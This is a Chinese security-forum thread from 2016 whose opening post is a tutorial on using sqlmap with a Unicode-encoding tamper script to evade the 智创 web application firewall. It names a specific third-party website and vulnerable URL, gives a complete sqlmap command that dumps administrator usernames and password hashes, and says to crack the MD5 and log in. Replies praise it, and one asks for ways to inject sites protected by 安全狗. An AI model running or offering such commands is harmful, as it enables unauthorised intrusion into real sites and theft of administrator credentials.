请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 1306|回复: 15

[原创教程] SQLmap注入过智创防火墙

[复制链接]
  • TA的每日心情
    奋斗
    1 小时前
  • 签到天数: 216 天

    [LV.7]常住居民III

    发表于 2016-7-22 19:11:15 | 显示全部楼层 |阅读模式
    本屌就发这个贴了,我研究技术去把


    目标站:http://www.hunangy.com/
    http://www.hunangy.com/shangmao/artmore.asp?id=48514 存在报错型注入,也存在cookie注入
    http://www.hunangy.com/shangmao/artmore.asp?id=48514\  后面加个\或者“ ‘判断

    拿去sqlmap注入,突破注入用tamper脚本下的charunicodeencode.py ,(我这网上搜了下关于过智创防火墙sql注入文章,都是编码绕过的,我就用字符串 unicode 编码)

    Example:   * Input: SELECT FIELD%20FROM TABLE   * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
    Requirement:

    ASP

    ASP.NET

    Tested against:

    Microsoft SQL Server 2000

    Microsoft SQL Server 2005

    MySQL 5.1.56

    PostgreSQL 9.0.3

    sqlmap.py -u http://www.hunangy.com/shangmao/artmore.asp
    --cookie "id=48514" --level 2 -D hunangyxcb_com_2014 -T applenews_admin_info -C
    "adminname,adminpass" --dump --threads=10  --tamper=charunicodeencode.py -v 2
    参数慢慢去领悟

    529202f934740a48.jpg

    然后md5解密,就进去了
    这个是讲的是过智创防火墙sql注入
    回复

    使用道具 举报

  • TA的每日心情

    2017-3-1 20:01
  • 签到天数: 120 天

    [LV.7]常住居民III

    发表于 2016-7-24 02:54:54 | 显示全部楼层
    真水
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    5 天前
  • 签到天数: 337 天

    [LV.8]以坛为家I

    发表于 2016-7-24 03:11:23 | 显示全部楼层
    厉害  
    【原创板块】杀软绕过集合贴
    http://bbs.sssie.com/thread-1580-1-1.html
    (出处: SSS安全论坛)

    收录了
  • TA的每日心情

    昨天 09:08
  • 签到天数: 357 天

    [LV.8]以坛为家I

    发表于 2016-7-24 12:24:47 | 显示全部楼层
    有没有最新过安全狗的,碰到几个站有狗注入不了
  • TA的每日心情
    开心
    2017-3-22 00:06
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2016-7-25 02:28:08 | 显示全部楼层
    好文章,我最恨各种防火墙了
  • TA的每日心情
    奋斗
    1 小时前
  • 签到天数: 216 天

    [LV.7]常住居民III

     楼主| 发表于 2016-7-25 12:27:36 | 显示全部楼层
    妈的,还是没有隐藏内容要不然绝对上150积分
  • TA的每日心情
    开心
    2016-9-6 09:05
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2016-7-25 13:47:04 | 显示全部楼层
    可以试试
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-2-22 18:25
  • 签到天数: 89 天

    [LV.6]常住居民II

    发表于 2016-7-27 17:52:33 | 显示全部楼层
    这贴太水了吧。。。
  • TA的每日心情
    无聊
    2017-3-11 15:42
  • 签到天数: 31 天

    [LV.5]常住居民I

    发表于 2016-7-27 19:06:51 | 显示全部楼层
    很强势
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    10 小时前
  • 签到天数: 246 天

    [LV.8]以坛为家I

    发表于 2016-7-28 09:13:53 | 显示全部楼层
    学到了
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-3-30 20:38 , Processed in 0.227968 second(s), 37 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表